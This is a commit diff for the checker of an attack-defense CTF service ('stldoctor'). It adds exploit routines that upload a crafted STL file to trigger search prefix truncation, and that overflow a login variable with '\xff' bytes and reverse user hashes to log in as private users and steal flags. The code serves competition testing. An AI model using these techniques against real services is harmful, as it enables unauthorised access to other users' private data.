aboutsummaryrefslogtreecommitdiffstats
path: root/checker/src
diff options
context:
space:
mode:
authorLouis Burda <quent.burda@gmail.com>2021-07-08 02:33:33 +0200
committerLouis Burda <quent.burda@gmail.com>2021-07-08 02:33:33 +0200
commit612814068b4abef28915e51ef96780801e6c515b (patch)
treea63482c0090e0d7ba86e726c5d66f1730922d097 /checker/src
parent8e430a00c145647cf6a67504640bd919af2c4fdf (diff)
downloadenowars5-service-stldoctor-612814068b4abef28915e51ef96780801e6c515b.tar.gz
enowars5-service-stldoctor-612814068b4abef28915e51ef96780801e6c515b.zip
added attackinfo and fixed other issues
Diffstat (limited to 'checker/src')
-rw-r--r--checker/src/checker.py92
1 files changed, 59 insertions, 33 deletions
diff --git a/checker/src/checker.py b/checker/src/checker.py
index eb3c521..3f12417 100644
--- a/checker/src/checker.py
+++ b/checker/src/checker.py
@@ -24,6 +24,7 @@ from enochecker3 import (
ChainDB,
DependencyInjector,
Enochecker,
+ ExploitCheckerTaskMessage,
GetflagCheckerTaskMessage,
GetnoiseCheckerTaskMessage,
InternalErrorException,
@@ -44,8 +45,9 @@ for path in os.listdir(f"{script_path}/models"):
wordlist = [w for w in open(f"{script_path}/wordlist.txt").read().split() if w != ""]
prompt = b"\r$ "
-search_truncation_payload = b"""
-solid test\xff
+exploit_0_file_prefix = b"""
+solid test\xff"""
+exploit_0_file_suffix = b"""
facet normal 0 0 1.0
outer loop
vertex 1 0 0
@@ -366,8 +368,8 @@ async def getdb(db: ChainDB, key: str) -> tuple[Any, ...]:
async def do_auth(
- session: Session, authstr: bytes, check: bool = True
-) -> Optional[bool]:
+ session: Session, authstr: bytes, check: bool = True, newuser: bool = True
+) -> Optional[bytes]:
session.logger.debug(f"Logging in with {authstr!r}")
session.write(b"auth\n")
session.write(authstr + b"\n")
@@ -383,11 +385,24 @@ async def do_auth(
# Also check success message
resp += await session.readuntil(prompt, ctx="reading auth response (2)")
- if b"Success!" not in resp:
- session.logger.critical(f"Login with pass {authstr!r} failed")
+ try:
+ userid = resp.split(b"Logged in with ID ")[1].split(b"!")[0]
+ except:
+ session.logger.critical(f"Login with pass {authstr!r} failed:\n{resp!r}")
raise MumbleException("Authentication not working properly")
- return b"Welcome back" in resp
+ # Check wether new user
+ is_newuser = b"Welcome back" not in resp
+ if is_newuser != newuser:
+ if check:
+ if newuser:
+ session.logger.critical("Unexpectedly, user dir exists already!")
+ else:
+ session.logger.critical("Unexpectedly, user dir doesnt exist!")
+ raise MumbleException("Authentication not working properly")
+ return None
+
+ return userid
async def do_list(session: Session, check: bool = True) -> Optional[bytes]:
@@ -692,7 +707,7 @@ async def test_good_upload(
# Create new session, register and upload file
session = await di.get(Session)
if register:
- await do_auth(session, authstr, check=True)
+ await do_auth(session, authstr, check=True, newuser=True)
modelid = await do_upload(session, modelname, stlfile, check=True)
assert modelid is not None
check_hash(modelid)
@@ -715,7 +730,7 @@ async def test_good_upload(
await check_not_in_search(
session, modelname, expected, download=True, fail=True
)
- await do_auth(session, authstr, check=True)
+ await do_auth(session, authstr, check=True, newuser=False)
info, stlfile = await check_in_search(
session, modelname, expected, download=True
)
@@ -760,7 +775,7 @@ async def test_search(di: DependencyInjector, registered: bool = False) -> None:
# Ensure searching for a file that doesnt exist causes an error
session = await di.get(Session)
if registered:
- await do_auth(session, authstr, check=True)
+ await do_auth(session, authstr, check=True, newuser=True)
resp = await do_search(session, modelname, download=False, check=False)
if resp is not None:
session.logger.critical(
@@ -773,9 +788,7 @@ async def test_search(di: DependencyInjector, registered: bool = False) -> None:
@checker.putflag(0)
-async def putflag_guest(
- task: PutflagCheckerTaskMessage, di: DependencyInjector
-) -> None:
+async def putflag_guest(task: PutflagCheckerTaskMessage, di: DependencyInjector) -> str:
modelname = fakeid()
db = await di.get(ChainDB)
@@ -786,23 +799,26 @@ async def putflag_guest(
assert modelid is not None
await db.set("info", (modelname, modelid))
+ return "Model {}.. is kinda sus".format(modelid[:10].decode())
@checker.putflag(1)
async def putflag_private(
task: PutflagCheckerTaskMessage, di: DependencyInjector
-) -> None:
+) -> str:
modelname, authstr = fakeids(2)
stlfile = genfile(task.flag.encode(), "bin")
db = await di.get(ChainDB)
# Generate a file with flag in solidname and upload it (registered, bin)
session = await di.get(Session)
- await do_auth(session, authstr, check=True)
+ userid = await do_auth(session, authstr, check=True, newuser=True)
+ assert userid is not None
modelid = await do_upload(session, modelname, stlfile, check=True)
assert modelid is not None
await db.set("info", (modelname, modelid, authstr))
+ return "User {}.. is kinda sus".format(userid[:10].decode())
@checker.getflag(0)
@@ -829,7 +845,7 @@ async def getflag_private(
# Retrieve private flag file info via search / list and ensure flag's included
session = await di.get(Session)
- await do_auth(session, authstr, check=True)
+ await do_auth(session, authstr, check=True, newuser=False)
search_resp = await do_search(session, modelname, download=True, check=True)
assert search_resp is not None
assert_in(task.flag.encode(), search_resp[0], "Flag is missing from stl info")
@@ -864,7 +880,7 @@ async def putnoise_priv(
# Generate a random file and upload it (registered, bin / ascii)
session = await di.get(Session)
stlfile = genfile(solidname, "ascii" if task.variant_id == 0 else "bin")
- await do_auth(session, authstr, check=True)
+ await do_auth(session, authstr, check=True, newuser=True)
modelid = await do_upload(session, modelname, stlfile, check=True)
await db.set("info", (modelid, modelname, solidname, stlfile, authstr))
@@ -896,7 +912,7 @@ async def getnoise_priv(
# Retrieve noise file by name via search and search (registered)
session = await di.get(Session)
- await do_auth(session, authstr, check=True)
+ await do_auth(session, authstr, check=True, newuser=False)
await check_in_search(
session,
modelname,
@@ -1005,29 +1021,33 @@ async def havoc_fluff_upload(di: DependencyInjector) -> None:
@checker.exploit(0)
-async def exploit_prefix_truncation(di: DependencyInjector) -> bytes:
+async def exploit_prefix_truncation(
+ task: ExploitCheckerTaskMessage, di: DependencyInjector
+) -> bytes:
modelname = fakeid()
searcher = await di.get(FlagSearcher)
session = await di.get(Session)
session.logger.debug("Uploading evil file for hash truncation")
+ assert task.attack_info is not None
+ target_prefix = task.attack_info.split()[1][:-2].encode()
+
# Upload evil file
- await do_upload(session, modelname, stlfile=search_truncation_payload, check=True)
- search_resp = await do_search(session, modelname, download=False, check=True)
- print(search_resp)
+ evil_file = exploit_0_file_prefix + target_prefix + exploit_0_file_suffix
+ await do_upload(session, modelname, stlfile=evil_file, check=True)
+ await do_search(session, modelname, download=False, check=True)
# Retrieve evil file for hash truncation
session.write(b"search last\n")
await session.drain()
- filelist_resp = await session.readuntil(
- b"[q to quit]: ", ctx="reading search results"
- )
- session.logger.critical(filelist_resp)
- filelist = [l.strip() for l in filelist_resp.split(b"\n")[:-1] if l.strip() != b""]
+ resp = await session.readline()
+ if b"ERR:" in resp:
+ raise MumbleException("Searching for cached entry fails!")
+ resp += await session.readuntil(b"[q to quit]: ", ctx="reading search results")
+ filelist = [l.strip() for l in resp.split(b"\n")[:-1] if l.strip() != b""]
if len(filelist) == 0:
raise MumbleException("Failed to list files through search")
- session.logger.critical(filelist)
# Use it to enumerate other files and grab contents
flag = None
@@ -1043,9 +1063,7 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes:
resp += await session.readuntil(
b"==================", ctx="getting file info (1)"
)
- resp += await session.readuntil(
- b"[q to quit]: ", ctx="getting file info (2)"
- )
+ resp += await session.readuntil(b"[q to quit]: ", ctx="getting file info (2)")
session.logger.critical(resp)
if flag := searcher.search_flag(resp):
break
@@ -1062,9 +1080,14 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes:
@checker.exploit(1)
-async def exploit_hash_overflow(di: DependencyInjector) -> None:
+async def exploit_hash_overflow(
+ task: ExploitCheckerTaskMessage, di: DependencyInjector
+) -> None:
searcher = await di.get(FlagSearcher)
+ assert task.attack_info is not None
+ target_prefix = task.attack_info.split()[1][:-2].encode()
+
# Overflow loggedin variable
session = await di.get(Session)
session.write(b"search \xff\xff\xff\xff\xff0000000000000000\n")
@@ -1084,13 +1107,16 @@ async def exploit_hash_overflow(di: DependencyInjector) -> None:
# Login as each private user
for userhash in users:
+ if not userhash.startswith(target_prefix):
+ continue
+
# Find preimage of user hash
session.logger.debug(f"Logging in as user with id {userhash!r}")
authstr = reverse_hash(userhash.decode())
# Authenticate and check if the user is new
session = await di.get(Session)
- if not await do_auth(session, authstr, check=True):
+ if not await do_auth(session, authstr, check=False, newuser=False):
await session.exit()
# We dont raise an exception, because it could be that user dir was cleaned
# up just before we logged in, not necessarily because of an invalid prehash.